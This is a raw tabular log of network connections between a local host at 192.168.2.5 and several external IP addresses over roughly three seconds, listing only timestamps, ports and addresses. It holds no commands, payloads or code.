Nov 12, 2024 04:16:24.783785105 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:24.783895969 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:24.784029961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:24.784063101 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:24.788774014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:24.788863897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:24.789042950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:24.789062023 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:24.792242050 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.792267084 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.792354107 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.792365074 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.792402029 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.869446039 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.869463921 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.869515896 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.869549036 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.869564056 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.869748116 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.870301962 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.870318890 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.870357990 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.870366096 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.870394945 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.870404005 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.871149063 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.871165037 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.871208906 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.871216059 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.871249914 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.871268988 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.872033119 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.872047901 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.872081995 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.872088909 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.872116089 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.872134924 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.873948097 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.873964071 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.874006033 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.874012947 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.874047995 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.874073982 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.874793053 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.874809027 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.874861956 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.874871016 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.874914885 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.907577038 CET	49751	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:24.907608032 CET	443	49751	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:24.907845020 CET	49751	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:24.909529924 CET	49751	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:24.909543991 CET	443	49751	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:24.911228895 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.911247015 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.911293983 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.911300898 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.911356926 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.911370993 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.987607956 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.987675905 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.987689018 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.987754107 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.990628004 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.990642071 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.990652084 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.990658998 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.132599115 CET	49752	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:25.132617950 CET	443	49752	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.132719994 CET	49752	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:25.135251999 CET	49753	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:25.135284901 CET	443	49753	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.135411024 CET	49753	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:25.136404991 CET	49754	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:25.136415005 CET	443	49754	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.136504889 CET	49754	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:25.140110016 CET	49755	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:25.140120983 CET	443	49755	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.140289068 CET	49755	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:25.142168045 CET	49755	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:25.142184019 CET	443	49755	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.142461061 CET	49754	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:25.142471075 CET	443	49754	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.142673016 CET	49752	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:25.142683029 CET	443	49752	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.147522926 CET	49756	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:25.147561073 CET	443	49756	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.147700071 CET	49753	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:25.147713900 CET	443	49753	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.147737980 CET	49756	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:25.147922993 CET	49756	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:25.147937059 CET	443	49756	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.184276104 CET	49766	443	192.168.2.5	18.244.18.38
Nov 12, 2024 04:16:25.184299946 CET	443	49766	18.244.18.38	192.168.2.5
Nov 12, 2024 04:16:25.184367895 CET	49766	443	192.168.2.5	18.244.18.38
Nov 12, 2024 04:16:25.184818983 CET	49766	443	192.168.2.5	18.244.18.38
Nov 12, 2024 04:16:25.184832096 CET	443	49766	18.244.18.38	192.168.2.5
Nov 12, 2024 04:16:25.309225082 CET	49732	443	192.168.2.5	52.149.20.212
Nov 12, 2024 04:16:25.355333090 CET	443	49732	52.149.20.212	192.168.2.5
Nov 12, 2024 04:16:25.618736029 CET	443	49732	52.149.20.212	192.168.2.5
Nov 12, 2024 04:16:25.618758917 CET	443	49732	52.149.20.212	192.168.2.5
Nov 12, 2024 04:16:25.618765116 CET	443	49732	52.149.20.212	192.168.2.5
Nov 12, 2024 04:16:25.618777990 CET	443	49732	52.149.20.212	192.168.2.5
Nov 12, 2024 04:16:25.618803978 CET	443	49732	52.149.20.212	192.168.2.5
Nov 12, 2024 04:16:25.618819952 CET	49732	443	192.168.2.5	52.149.20.212
Nov 12, 2024 04:16:25.618834019 CET	443	49732	52.149.20.212	192.168.2.5
Nov 12, 2024 04:16:25.618891001 CET	49732	443	192.168.2.5	52.149.20.212
Nov 12, 2024 04:16:25.619086981 CET	443	49732	52.149.20.212	192.168.2.5
Nov 12, 2024 04:16:25.619138956 CET	49732	443	192.168.2.5	52.149.20.212
Nov 12, 2024 04:16:25.619144917 CET	443	49732	52.149.20.212	192.168.2.5
Nov 12, 2024 04:16:25.619663000 CET	443	49732	52.149.20.212	192.168.2.5
Nov 12, 2024 04:16:25.619710922 CET	49732	443	192.168.2.5	52.149.20.212
Nov 12, 2024 04:16:25.855031967 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:25.855050087 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:25.858378887 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:25.858619928 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:25.858630896 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:25.863538980 CET	443	49752	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.864099979 CET	443	49754	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.866821051 CET	49752	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:25.866837978 CET	443	49752	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.866868019 CET	49754	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:25.866878033 CET	443	49754	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.867350101 CET	49752	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:25.867353916 CET	443	49752	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.867373943 CET	49754	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:25.867377043 CET	443	49754	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.869853020 CET	443	49755	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.870179892 CET	49755	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:25.870209932 CET	443	49755	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.870562077 CET	49755	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:25.870568037 CET	443	49755	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.879293919 CET	443	49756	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.882680893 CET	49756	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:25.882702112 CET	443	49756	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.883141041 CET	49756	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:25.883147001 CET	443	49756	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.885432959 CET	443	49753	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.886303902 CET	49753	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:25.886321068 CET	443	49753	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.886655092 CET	49753	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:25.886660099 CET	443	49753	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.964698076 CET	443	49751	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:25.964791059 CET	49751	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:25.991692066 CET	443	49752	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.991868019 CET	443	49752	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.992789030 CET	443	49754	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.992846012 CET	443	49754	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.992908001 CET	49752	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:25.992918968 CET	443	49754	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:25.992958069 CET	49754	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:25.992976904 CET	49754	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.001316071 CET	443	49755	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.001337051 CET	443	49755	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.001391888 CET	49755	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.001394033 CET	443	49755	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.001449108 CET	49755	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.013041019 CET	443	49756	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.013156891 CET	443	49756	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.013277054 CET	49756	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.027086020 CET	443	49766	18.244.18.38	192.168.2.5
Nov 12, 2024 04:16:26.049704075 CET	49766	443	192.168.2.5	18.244.18.38
Nov 12, 2024 04:16:26.049721956 CET	443	49766	18.244.18.38	192.168.2.5
Nov 12, 2024 04:16:26.050750017 CET	443	49766	18.244.18.38	192.168.2.5
Nov 12, 2024 04:16:26.050820112 CET	49766	443	192.168.2.5	18.244.18.38
Nov 12, 2024 04:16:26.052237988 CET	49752	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.052248001 CET	443	49752	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.052258968 CET	49752	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.052263975 CET	443	49752	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.054109097 CET	49756	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.054122925 CET	443	49756	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.054136038 CET	49756	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.054142952 CET	443	49756	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.055126905 CET	49766	443	192.168.2.5	18.244.18.38
Nov 12, 2024 04:16:26.055191994 CET	443	49766	18.244.18.38	192.168.2.5
Nov 12, 2024 04:16:26.057497025 CET	49754	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.057502031 CET	443	49754	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.057529926 CET	49754	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.057533026 CET	443	49754	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.058742046 CET	49755	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.058758974 CET	443	49755	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.058768988 CET	49755	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.058775902 CET	443	49755	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.102303028 CET	49766	443	192.168.2.5	18.244.18.38
Nov 12, 2024 04:16:26.102310896 CET	443	49766	18.244.18.38	192.168.2.5
Nov 12, 2024 04:16:26.103420019 CET	49775	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.103456020 CET	443	49775	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.103687048 CET	49775	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.112601995 CET	49776	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.112631083 CET	443	49776	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.113198996 CET	49776	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.116746902 CET	49777	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.116760969 CET	443	49777	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.116993904 CET	49777	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.120121956 CET	49778	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.120131969 CET	443	49778	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.120455027 CET	49778	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.120628119 CET	49775	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.120641947 CET	443	49775	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.120699883 CET	49778	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.120712996 CET	443	49778	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.120896101 CET	49776	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.120908022 CET	443	49776	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.121108055 CET	49777	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.121117115 CET	443	49777	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.138156891 CET	49751	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:26.138169050 CET	443	49751	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:26.138416052 CET	443	49751	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:26.139816999 CET	49751	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:26.139902115 CET	49751	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:26.139925957 CET	443	49751	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:26.149559975 CET	443	49753	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.149579048 CET	443	49753	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.149620056 CET	443	49753	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.149693966 CET	49753	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.150021076 CET	49753	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.150028944 CET	443	49753	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.150038958 CET	49753	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.150043964 CET	443	49753	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.152565002 CET	49779	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.152581930 CET	443	49779	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.152654886 CET	49779	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.152802944 CET	49779	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.152811050 CET	443	49779	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.183377981 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:26.183444977 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:26.210294008 CET	49766	443	192.168.2.5	18.244.18.38
Nov 12, 2024 04:16:26.465428114 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:26.470441103 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:26.489727020 CET	443	49751	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:26.523749113 CET	49732	443	192.168.2.5	52.149.20.212
Nov 12, 2024 04:16:26.523758888 CET	443	49732	52.149.20.212	192.168.2.5
Nov 12, 2024 04:16:26.601705074 CET	443	49751	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:26.603581905 CET	49751	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:26.610008955 CET	49751	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:26.610030890 CET	443	49751	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:26.610042095 CET	49751	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:26.610054016 CET	443	49751	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:26.708318949 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:26.809379101 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:26.849891901 CET	443	49778	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.864763021 CET	443	49775	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.869787931 CET	443	49779	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.873585939 CET	443	49777	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.891074896 CET	443	49776	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.912405014 CET	49775	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.914346933 CET	49779	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.976154089 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:26.976177931 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:26.976517916 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:26.976527929 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:26.976548910 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:26.976569891 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:26.976574898 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:26.976598978 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:26.976618052 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:26.977149010 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:26.980030060 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:26.980082989 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:26.980504990 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:26.980510950 CET	443	49773	142.250.184.225	192.168.2.5
Nov 12, 2024 04:16:26.996469021 CET	49776	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.996505976 CET	443	49776	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.998094082 CET	49776	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.998099089 CET	443	49776	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.998487949 CET	49777	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.998501062 CET	443	49777	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.998533010 CET	49775	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.998539925 CET	443	49775	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.998913050 CET	49775	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.998917103 CET	443	49775	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.999084949 CET	49778	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.999099970 CET	443	49778	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.999336004 CET	49777	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.999341011 CET	443	49777	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:26.999507904 CET	49778	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:26.999514103 CET	443	49778	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.000056028 CET	49779	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.000058889 CET	443	49779	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.000479937 CET	49779	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.000483036 CET	443	49779	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.112164021 CET	49773	443	192.168.2.5	142.250.184.225
Nov 12, 2024 04:16:27.120647907 CET	49783	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:27.120688915 CET	443	49783	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:27.120820999 CET	49783	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:27.121195078 CET	49784	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:27.121215105 CET	443	49784	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:27.121448994 CET	49784	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:27.121958971 CET	49784	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:27.121969938 CET	443	49784	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:27.122112036 CET	49783	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:27.122123003 CET	443	49783	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:27.132843018 CET	443	49779	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.132883072 CET	443	49778	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.132888079 CET	443	49775	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.132900953 CET	443	49776	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.132920027 CET	443	49777	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.132927895 CET	443	49778	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.132935047 CET	443	49775	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.132942915 CET	443	49776	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.133003950 CET	443	49777	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.133004904 CET	49778	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.133004904 CET	49776	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.133009911 CET	49775	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.133181095 CET	443	49779	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.133184910 CET	49777	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.133275032 CET	49779	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.142247915 CET	49779	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.142256021 CET	443	49779	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.144272089 CET	49776	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.144272089 CET	49776	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.144284010 CET	443	49776	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.144294024 CET	443	49776	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.145495892 CET	49777	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.145500898 CET	443	49777	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.145519972 CET	49777	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.145524025 CET	443	49777	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.146677971 CET	49778	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.146684885 CET	443	49778	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.146708965 CET	49778	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.146713972 CET	443	49778	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.148026943 CET	49775	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.148026943 CET	49775	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.148046017 CET	443	49775	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.148056984 CET	443	49775	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.158015966 CET	49785	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.158029079 CET	443	49785	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.158081055 CET	49785	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.161052942 CET	49786	443	192.168.2.5	172.64.41.3
Nov 12, 2024 04:16:27.161084890 CET	443	49786	172.64.41.3	192.168.2.5
Nov 12, 2024 04:16:27.161148071 CET	49786	443	192.168.2.5	172.64.41.3
Nov 12, 2024 04:16:27.161168098 CET	49787	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.161175013 CET	443	49787	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.161237955 CET	49787	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.161947966 CET	49788	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.161976099 CET	443	49788	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:27.162036896 CET	49788	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:27.162127018 CET	49786	443	192.168.2.5	172.64.41.3
Nov 12, 2024 04:16:27.162142992 CET	443	49786	172.64.41.3	192.168.2.5
Nov 12, 2024 04:16:27.163604975 CET	49785	443	192.168.2.5	13.107.246.45
